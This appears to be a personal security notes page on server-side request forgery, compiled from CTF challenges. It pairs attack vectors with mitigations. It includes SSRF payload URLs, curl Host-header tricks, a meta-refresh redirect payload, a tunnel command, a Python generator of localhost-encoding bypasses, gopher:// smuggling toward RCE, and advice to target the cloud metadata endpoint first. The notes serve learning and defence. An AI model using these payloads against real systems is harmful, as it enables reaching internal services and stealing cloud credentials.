đź§ Server-side Request Forgery
What is it?
- Concept: A server-side component (a webhook fetcher, URL “preview”/screenshot service, PDF/report generator, redirect follower…) makes an outbound request to a URL you influence. Since the request originates from the server, it lands wherever the server can reach — internal-only endpoints,
localhost-bound services, the cloud metadata endpoint, or hosts behind network segmentation you’d otherwise never touch directly. - Impact: Bypassing IP/
localhost-based auth checks, reading internal-only APIs, and — if the fetching library speaks more than HTTP — smuggling raw protocol traffic to internal services (Redis, gRPC, SMTP) for further exploitation/RCE.
How it works
- Find a feature where the server fetches a URL you can influence (webhook registration, “fetch a link to preview it”, screenshot/report generation, redirect-follow, image/file fetch-by-URL).
- Work out what’s actually being validated — hostname string, IP, scheme, whether redirects get re-checked.
- Craft a URL that satisfies the check but still routes to the real target, or exploits what the check doesn’t re-validate (e.g. a redirect hop).
Exploitation
Prerequisites
- A server-side component that fetches an attacker-influenceable URL
- The destination isn’t fully re-validated (hostname allowlist, IP range, scheme, post-redirect)
Attack Vectors
Direct — sometimes there’s nothing to bypass.
GET /guardian?quote=http://localhost:1337/think
Not every SSRF sink filters anything at all — check the obvious payload before reaching for a bypass. (from HTB - Secret Alley)
Bypassing a suffix-based hostname allowlist.
if (!direction.endsWith("localhost") && direction !== "localhost")
return error;endsWith() checks a literal string suffix, not a real domain boundary. A hostname that merely ends with the allowed word satisfies the check even if it’s an unrelated, attacker-registrable domain (e.g. for a corp-suffix check like endsWith("internal.corp"), registering notreallyinternal.corp passes too). Always validate hostnames by exact match, or a proper domain-boundary check (. immediately before the suffix) — never raw string suffix. (pattern from HTB - Secret Alley)
Reaching an SSRF-capable endpoint hidden behind virtual-host routing.
If the vulnerable endpoint lives on a different vhost than the one your request naturally resolves to (a default_server silently swallowing unmatched Host headers), it can 404 even though it exists — the request never reached the right vhost, SSRF isn’t the problem yet.
# HTTP/1.0 doesn't require a Host header — an empty one reveals what the default vhost is actually bound to
curl --http1.0 -H 'Host:' http://target/anything
# Now hit the real endpoint with the correct Host header
curl -H 'Host: guardian.<leaked-domain>' 'http://target/guardian?quote=http://localhost:1337/think'(from HTB - Secret Alley)
Bypassing a Referer-based anti-SSRF check via meta-refresh.
If the “don’t let people redirect me to myself” check inspects the Referer header instead of validating the actual destination, redirect through an HTML <meta http-equiv="refresh"> tag instead of a Location header or JS location.href — meta-refresh navigations don’t send a Referer at all:
<html>
<head>
<meta http-equiv="refresh" content="0;url=http://localhost/flag">
</head>
</html>Host this externally and get the target’s own headless-browser/screenshot service to visit it. When it follows the meta-redirect, the target itself issues the follow-up request from its own loopback — any “is this really localhost” check now trivially passes, because it genuinely is. (from HTB - baby CachedView)
cloudflared tunnel --protocol http2 --url http://localhost:5000
# ngrok's interstitial warning page breaks headless bots; cloudflared has noneProtocol smuggling past the HTTP layer.
If the fetching library supports schemes beyond http(s):// (most curl-backed fetchers do by default), SSRF isn’t capped at “read an internal HTTP page.” gopher:// lets you send arbitrary raw bytes — enough to speak to non-HTTP internal services directly: Redis, SMTP, or (as in HTB - Artificial University) a raw gRPC/HTTP2 frame to an internal gRPC service, turning SSRF into RCE against a service that was never meant to be internet-reachable. Building the exact byte sequence is protocol-specific and needs a purpose-built encoder — the takeaway is to check which schemes the fetcher accepts before assuming the damage stops at HTTP.
Localhost bypass generator, for weak IP/hostname blacklists:
def generate_localhost_bypasses(ip: str = "127.0.0.1") -> list[str]:
"""Alternate representations of an IP to throw at a regex/string-based SSRF blacklist."""
o = [int(x) for x in ip.split(".")]
decimal = (o[0] << 24) + (o[1] << 16) + (o[2] << 8) + o[3]
return [
ip, # 127.0.0.1
f"{o[0]}.{o[3]}", # 127.1 (short form)
f"0{o[0]:o}.0{o[1]:o}.0{o[2]:o}.0{o[3]:o}", # octal
f"0x{o[0]:02x}{o[1]:02x}{o[2]:02x}{o[3]:02x}", # hex, single token
str(decimal), # decimal, single token
f"::ffff:{ip}", # IPv4-mapped IPv6
"[::1]", # IPv6 loopback literal
f"{ip}.nip.io", # public DNS that resolves back to ip
"localtest.me", # always resolves to 127.0.0.1
]
for bypass in generate_localhost_bypasses():
print(bypass)Notes
- Allowlists checked before following a redirect are trivially bypassed by redirecting to the disallowed target after the check passes — if the fetcher follows redirects, re-validate on every hop, or just don’t follow them.
169.254.169.254(cloud metadata endpoint) is the highest-value target when the vulnerable fetcher runs inside a cloud VM — try it before anything else if the environment looks cloud-hosted.- A “preview/screenshot this URL” feature is functionally identical to any other SSRF sink. Anything that drives a headless browser (Selenium, Puppeteer) or a PDF/report renderer to a URL and hands you back the result is worth treating as SSRF, not just literal fetch-and-forward endpoints — see HTB - baby CachedView.
Mitigation
- Allowlist by exact hostname match or resolved IP, not string-suffix checks — resolve the hostname and validate the actual IP against a strict allowlist, ideally re-checked after DNS resolution (helps against (incomplete) DNS Rebinding too).
- Disable redirect-following on server-side fetches, or re-validate the destination on every redirect hop.
- Restrict the URL scheme explicitly to
http/https— rejectgopher://,file://,dict://, etc. at the fetcher level. - Network-level segmentation: the fetching service shouldn’t have route-level access to internal-only services (metadata endpoint, Redis, internal gRPC) in the first place — don’t rely on the application layer as the only control.
Related Usage
| File | Created |
|---|---|
| (incomplete) HTB - Secure Notes | May 22, 2026 |
| BKSEC - Report the Violation 2 | Monday, February 23rd 2026, 9:50:38 pm |
| HTB - Artificial University | Thursday, April 9th 2026, 11:36:53 pm |
| HTB - baby CachedView | Friday, April 10th 2026, 8:25:22 am |
| HTB - Secret Alley | Friday, May 22nd 2026, 2:43:18 pm |
| HTB - Tornado Service | Wednesday, April 15th 2026, 7:51:50 pm |
| UMassCTF - Building Blocks Market | Saturday, April 11th 2026, 11:41:56 pm |
| UMassCTF - Turncoat’s Treasure | Monday, April 13th 2026, 9:48:21 pm |